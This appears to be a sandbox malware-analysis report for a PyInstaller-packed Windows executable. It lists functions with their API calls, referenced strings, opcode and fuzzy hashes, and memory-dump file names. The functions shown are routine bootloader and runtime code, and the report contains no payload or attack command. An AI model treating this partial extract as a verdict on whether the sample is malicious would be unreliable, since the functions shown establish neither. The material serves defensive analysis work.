Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 1984f943fe60021c6db05f5888f7dd086acc6d0e2a461e0c712dd9be4fa02006
Instruction ID: 17ab65d3ae5609a70c0cdbac56963b814ad9c94e18f717db7be9dd65e50831d0
Opcode Fuzzy Hash: 1984f943fe60021c6db05f5888f7dd086acc6d0e2a461e0c712dd9be4fa02006
Instruction Fuzzy Hash: 1561B432908BC586D760AB15E4407EAFBA0FB89784F444325EBAD07B95DF7CD191CB50

Function 00007FF7FF58F2F8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF7FF58F320
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FF7FF58F408

Strings

csm, xrefs: 00007FF7FF58F45A
csm, xrefs: 00007FF7FF58F342

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 1b872e8f6993e9c5779cc40e3c84c693849f7921638dfce8d08fafba9ab8d571
Instruction ID: 6ed6950d718bc4685e13a8d95892edc7af1d3145f7b4974e79e59d24daaf7f10
Opcode Fuzzy Hash: 1b872e8f6993e9c5779cc40e3c84c693849f7921638dfce8d08fafba9ab8d571
Instruction Fuzzy Hash: 26518E329086C286EB64AE2194443A8B6E0FB59B94F944336EABD47BD5CF3CE450C791

Function 00007FF7FF587E10 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 81COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(00000000,?,00007FF7FF58352C,?,00000000,00007FF7FF583F23), ref: 00007FF7FF587F22

Strings

%s%c, xrefs: 00007FF7FF587E94
\, xrefs: 00007FF7FF587E87
%.*s, xrefs: 00007FF7FF587EDB

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: CreateDirectory
String ID: %.*s$%s%c$\
API String ID: 4241100979-1685191245
Opcode ID: b1106a047486010b66b16d7d561c3e0e79f8eec2dc114c611d5a943da294bb6a
Instruction ID: 32be83ce6d4a459b06ada111c58a9cbcabf97a4ca1fea3de9b4d79cda10e9477
Opcode Fuzzy Hash: b1106a047486010b66b16d7d561c3e0e79f8eec2dc114c611d5a943da294bb6a
Instruction Fuzzy Hash: D531B061619AC145EB21AB21F8507EAA354FF88BE4F840331EE7D47BC9EE2CD645C790

Function 00007FF7FF582810 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 65windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32 ref: 00007FF7FF5828EA

Strings

Error, xrefs: 00007FF7FF5828DD
ERROR, xrefs: 00007FF7FF58286F
[PYI-%d:%ls] , xrefs: 00007FF7FF582868

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: Message
String ID: ERROR$Error$[PYI-%d:%ls]
API String ID: 2030045667-255084403
Opcode ID: d0f77ace03032ad826a8cfca47aff52564341a40e7b1b64160a5aa56c6ce0663
Instruction ID: cd390d2fd8c64561ad633427d078f8982fb251811455d2cae1e41af6ac5b484e
Opcode Fuzzy Hash: d0f77ace03032ad826a8cfca47aff52564341a40e7b1b64160a5aa56c6ce0663
Instruction Fuzzy Hash: CA21E572708B8192E710AB14F8447EAB7A0FB88780F800232EEAD537A5DF3CD255C790

Function 00007FF7FF59C610 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FF7FF59C68F
WriteFile.KERNEL32 ref: 00007FF7FF59C957
WriteFile.KERNEL32 ref: 00007FF7FF59C99D
GetLastError.KERNEL32 ref: 00007FF7FF59CA53

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 1ea6e931977968e7606fd026366deb17473f9f47aeaf25dd19fcfb7bb3399e1d
Instruction ID: 524178aa164c67a5b5d14dcd063152a926598bebfe668d04ac25221016ce5405
Opcode Fuzzy Hash: 1ea6e931977968e7606fd026366deb17473f9f47aeaf25dd19fcfb7bb3399e1d
Instruction Fuzzy Hash: E4D102B2B18AC28AE724DF64D4441EC7771FB44798B848225DE7D97BD9DE38D016C390

Function 00007FF7FF59F9FC Relevance: 6.2, APIs: 4, Instructions: 162COMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF7FF59FAEC
_get_daylight.LIBCMT ref: 00007FF7FF59FAFD
_get_daylight.LIBCMT ref: 00007FF7FF59FB0E
_isindst.LIBCMT ref: 00007FF7FF59FBD9

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: _get_daylight$_isindst
String ID:
API String ID: 4170891091-0
Opcode ID: 4d98307b2f9efdc6516e3695475c092fba069f5f92b05f4e8f1f7e1348ba3a44
Instruction ID: 6d9a180b653529e0fa2ef35c5871fd47761ea4722ef20f83899a1128368b7108
Opcode Fuzzy Hash: 4d98307b2f9efdc6516e3695475c092fba069f5f92b05f4e8f1f7e1348ba3a44
Instruction Fuzzy Hash: F651F872F0819186FB28EF2499556FCA7A2AB00358F914335DE3E53AE5DF38E401C790

Function 00007FF7FF5957EC Relevance: 6.1, APIs: 4, Instructions: 119pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00007FF7FF59581F
GetFileInformationByHandle.KERNEL32 ref: 00007FF7FF595881
GetLastError.KERNEL32 ref: 00007FF7FF595912
PeekNamedPipe.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7FF595724), ref: 00007FF7FF59595E

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: File$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 2780335769-0
Opcode ID: 9a0c598da5bacb08a65281ee6853743b6bc645484a6b27ddd69bc7d98502ecbe
Instruction ID: c66ffc659509a44edf585ef93c600a7054aa9cfe150748ff6a9b4cafb3a9e980
Opcode Fuzzy Hash: 9a0c598da5bacb08a65281ee6853743b6bc645484a6b27ddd69bc7d98502ecbe
Instruction Fuzzy Hash: 1B51BF22E086818AFB28EF71D4503FDA3E1AB44B58F948635DE2D476C9DF38D460C3A0

Function 00007FF7FF5820C0 Relevance: 6.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

EndDialog.USER32 ref: 00007FF7FF5820F4
SetWindowLongPtrW.USER32 ref: 00007FF7FF582116
GetWindowLongPtrW.USER32 ref: 00007FF7FF582140
InvalidateRect.USER32 ref: 00007FF7FF582160

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: LongWindow$DialogInvalidateRect
String ID:
API String ID: 1956198572-0
Opcode ID: 3f66ec3ad31a24d6b03c6ecd933265a99c2c3f38e7b83c206d3886b5f9d1bb92
Instruction ID: ea22a9ceabe4f21caf947149c83ca4085102e6e9c6bc832b16de07e8bfdef316
Opcode Fuzzy Hash: 3f66ec3ad31a24d6b03c6ecd933265a99c2c3f38e7b83c206d3886b5f9d1bb92
Instruction Fuzzy Hash: 5A11E521F0C5C282FB54A76AE5442F99A92FB88780FD88230DB7907BD9CD7DD5D1C2A0

Function 00007FF7FF5A5B8C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 121COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7FF5A17D0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF5A1803

_get_daylight.LIBCMT ref: 00007FF7FF5A5CA4
_get_daylight.LIBCMT ref: 00007FF7FF5A5CB5

Strings

?, xrefs: 00007FF7FF5A5C35

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo
String ID: ?
API String ID: 1286766494-1684325040
Opcode ID: 49037f27f8a3fd0af602071961786b5c11050eb40cc6520dd4d88adff463e317
Instruction ID: d01e687f5c737a1716513eb621d5cf813aec06a6f1a0f07a87aa6a2680b5a6bf
Opcode Fuzzy Hash: 49037f27f8a3fd0af602071961786b5c11050eb40cc6520dd4d88adff463e317
Instruction Fuzzy Hash: E8412822A092C242FB24AB25A451BB9E650EB92FA4F944335EE7C07AD9DF3CD451C750

Function 00007FF7FF599084 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF5990B6

Part of subcall function 00007FF7FF59A9B8: RtlFreeHeap.NTDLL(?,?,?,00007FF7FF5A2D92,?,?,?,00007FF7FF5A2DCF,?,?,00000000,00007FF7FF5A3295,?,?,?,00007FF7FF5A31C7), ref: 00007FF7FF59A9CE
Part of subcall function 00007FF7FF59A9B8: GetLastError.KERNEL32(?,?,?,00007FF7FF5A2D92,?,?,?,00007FF7FF5A2DCF,?,?,00000000,00007FF7FF5A3295,?,?,?,00007FF7FF5A31C7), ref: 00007FF7FF59A9D8

GetModuleFileNameW.KERNEL32(?,?,?,?,?,00007FF7FF58CC15), ref: 00007FF7FF5990D4

Strings

C:\Users\user\Desktop\YgJ5inWPQO.exe, xrefs: 00007FF7FF5990C2

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: ErrorFileFreeHeapLastModuleName_invalid_parameter_noinfo
String ID: C:\Users\user\Desktop\YgJ5inWPQO.exe
API String ID: 3580290477-2366978088
Opcode ID: 6949f310d66ea20a01752be9fefe254e5f7f697695929ffcc1b4329691481a3a
Instruction ID: 116025176c9ba06b75a6b1c5997c503702ba13ee47ba7defce06554ddc0d27b7
Opcode Fuzzy Hash: 6949f310d66ea20a01752be9fefe254e5f7f697695929ffcc1b4329691481a3a
Instruction Fuzzy Hash: 2E417132A0879285EB28BF2594800FDA7A4FB457D0BD54235E97E43BC5DE3CE48283E0

Function 00007FF7FF59CCA8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF7FF59CDBF
GetLastError.KERNEL32 ref: 00007FF7FF59CDE1

Strings

U, xrefs: 00007FF7FF59CD6B

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 476bd95e1daeb27f29af256220462f16043a6e728498dde3caabbd6ec9016d26
Instruction ID: 4350fd86aabc0073b0910ea94eab0ec3ec10ade74b9cb836cc04849bbc619faf
Opcode Fuzzy Hash: 476bd95e1daeb27f29af256220462f16043a6e728498dde3caabbd6ec9016d26
Instruction Fuzzy Hash: 8441A472B19BC685DB609F25E4443E9A760FB88794F845231EE6D87B98EF3CD401C790

Function 00007FF7FF59F628 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32 ref: 00007FF7FF59F668
GetCurrentDirectoryW.KERNEL32 ref: 00007FF7FF59F6BA

Strings

:, xrefs: 00007FF7FF59F67E

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: CurrentDirectory
String ID: :
API String ID: 1611563598-336475711
Opcode ID: 3c906c99ff6b46cc0de181ba7a1caf37579b2c2fe8814107475e6c290f9e88a5
Instruction ID: 9fc44e8121d8efa71f70279b571c035e06d98e4d0367eb3b9010fceeea1011ee
Opcode Fuzzy Hash: 3c906c99ff6b46cc0de181ba7a1caf37579b2c2fe8814107475e6c290f9e88a5
Instruction Fuzzy Hash: 1C21C362A082C182EB38AB15D0442ADB3F5FB84B84FD54235D6BD436D4DF7CD9558BA0

Function 00007FF7FF58FDB8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00007FF7FF58FE08
RaiseException.KERNEL32 ref: 00007FF7FF58FE49

Strings

csm, xrefs: 00007FF7FF58FE36

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 4f0f6445cfedea8dceb7eb9436a550d57130d2c9509dbddfada5299d94659d4a
Instruction ID: 62b1d1f84e2720f0c2b144e6d6778a27936c91cc0b47464ab0b2b22f3f879139
Opcode Fuzzy Hash: 4f0f6445cfedea8dceb7eb9436a550d57130d2c9509dbddfada5299d94659d4a
Instruction Fuzzy Hash: 09115132609B8182EB609F15F400299B7E0FB88B84F584231DBAD077A9DF3CC561C740

Function 00007FF7FF5A07AC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF5A07DC
GetDriveTypeW.KERNEL32 ref: 00007FF7FF5A081C

Strings

:, xrefs: 00007FF7FF5A0805

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: DriveType_invalid_parameter_noinfo
String ID: :
API String ID: 2595371189-336475711
Opcode ID: 12447209ac998d916ea5af24bee96286b8310982615a7f3bb8f9e7bff02e83a7
Instruction ID: 51002d20dc399fcf7225d531e7aa008d07496236daae5ad4f3dea19c87a1a16d
Opcode Fuzzy Hash: 12447209ac998d916ea5af24bee96286b8310982615a7f3bb8f9e7bff02e83a7
Instruction Fuzzy Hash: C501716291928386F734BF6094652BEA3A0EF44708FC40235D57D83BD1DE3CE514CAA4

Analysis Process: YgJ5inWPQO.exePID: 5352, Parent PID: 432COMMON

Execution Graph

Execution Coverage:	3.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	648
Total number of Limit Nodes:	8

Executed Functions

Function 00007FF7FF581000 Relevance: 61.8, APIs: 7, Strings: 28, Instructions: 509
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

pyi-python-flag, xrefs: 00007FF7FF583AD6
_PYI_APPLICATION_HOME_DIR, xrefs: 00007FF7FF583A0B, 00007FF7FF583CD4, 00007FF7FF583F6B
Py_GIL_DISABLED, xrefs: 00007FF7FF583AF4
VCRUNTIME140.dll, xrefs: 00007FF7FF583DB1
Failed to load splash screen resources!, xrefs: 00007FF7FF583E85
_PYI_PARENT_PROCESS_LEVEL, xrefs: 00007FF7FF583A17, 00007FF7FF583A2F, 00007FF7FF583A9B
PYINSTALLER_STRICT_UNPACK_MODE, xrefs: 00007FF7FF583BE8
Failed to load Tcl/Tk shared libraries for splash screen!, xrefs: 00007FF7FF583EBB
_PYI_ARCHIVE_FILE, xrefs: 00007FF7FF5838D2, 00007FF7FF5839FF
Failed to start splash screen!, xrefs: 00007FF7FF583ED4
Failed to initialize security descriptor for temporary directory!, xrefs: 00007FF7FF583C61
Invalid value in _PYI_PARENT_PROCESS_LEVEL: %s, xrefs: 00007FF7FF583B32
MEI, xrefs: 00007FF7FF583933
Could not load PyInstaller's embedded PKG archive from the executable (%s), xrefs: 00007FF7FF583971
pyi-contents-directory, xrefs: 00007FF7FF583B8D
_PYI_APPLICATION_HOME_DIR not set for onefile child process!, xrefs: 00007FF7FF583D35
pkg, xrefs: 00007FF7FF5839BE
Could not side-load PyInstaller's PKG archive from external file (%s), xrefs: 00007FF7FF5839DE
pyi-runtime-tmpdir, xrefs: 00007FF7FF583B68
Failed to remove temporary directory: %s, xrefs: 00007FF7FF583FC3
Failed to convert DLL search path!, xrefs: 00007FF7FF583DDC
pyi-disable-windowed-traceback, xrefs: 00007FF7FF583BB2
PYINSTALLER_RESET_ENVIRONMENT, xrefs: 00007FF7FF583882, 00007FF7FF5838AF
Could not create temporary directory!, xrefs: 00007FF7FF583CBF
PYINSTALLER_SUPPRESS_SPLASH_SCREEN, xrefs: 00007FF7FF583E0A
Path exceeds PYI_PATH_MAX limit., xrefs: 00007FF7FF583D12
_PYI_SPLASH_IPC, xrefs: 00007FF7FF583A23, 00007FF7FF583EF5
Failed to unpack splash screen dependencies from PKG archive!, xrefs: 00007FF7FF583EA6

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: ErrorFileLastModuleName
String ID: Could not create temporary directory!$Could not load PyInstaller's embedded PKG archive from the executable (%s)$Could not side-load PyInstaller's PKG archive from external file (%s)$Failed to convert DLL search path!$Failed to initialize security descriptor for temporary directory!$Failed to load Tcl/Tk shared libraries for splash screen!$Failed to load splash screen resources!$Failed to remove temporary directory: %s$Failed to start splash screen!$Failed to unpack splash screen dependencies from PKG archive!$Invalid value in _PYI_PARENT_PROCESS_LEVEL: %s$MEI$PYINSTALLER_RESET_ENVIRONMENT$PYINSTALLER_STRICT_UNPACK_MODE$PYINSTALLER_SUPPRESS_SPLASH_SCREEN$Path exceeds PYI_PATH_MAX limit.$Py_GIL_DISABLED$VCRUNTIME140.dll$_PYI_APPLICATION_HOME_DIR$_PYI_APPLICATION_HOME_DIR not set for onefile child process!$_PYI_ARCHIVE_FILE$_PYI_PARENT_PROCESS_LEVEL$_PYI_SPLASH_IPC$pkg$pyi-contents-directory$pyi-disable-windowed-traceback$pyi-python-flag$pyi-runtime-tmpdir
API String ID: 2776309574-4232158417
Opcode ID: a750c602d76a7e2a475d34e9f9d3ae9ffbdd5ab13f145aa1f50bf47f8f7acdc7
Instruction ID: 57a01c2ceafa3121435a7f2d813a76db16d70b1190a458cf91c2cf10d2ca6edc
Opcode Fuzzy Hash: a750c602d76a7e2a475d34e9f9d3ae9ffbdd5ab13f145aa1f50bf47f8f7acdc7
Instruction Fuzzy Hash: 90328D21A0D6C291FB29BB25D4542F9E691BF45780FC84232DA7E432D6EF2CE565C3E0

Function 00007FF7FF5A69D4 Relevance: 13.8, APIs: 9, Instructions: 276
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7FF5A6708: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF5A6749
Part of subcall function 00007FF7FF5A6708: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF5A67C7
Part of subcall function 00007FF7FF5A6708: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF5A6818

CreateFileW.KERNELBASE ref: 00007FF7FF5A6ADA
CreateFileW.KERNEL32 ref: 00007FF7FF5A6B2A
GetLastError.KERNEL32 ref: 00007FF7FF5A6B5A
GetFileType.KERNELBASE ref: 00007FF7FF5A6B6F
GetLastError.KERNEL32 ref: 00007FF7FF5A6B79
CloseHandle.KERNEL32 ref: 00007FF7FF5A6BAC
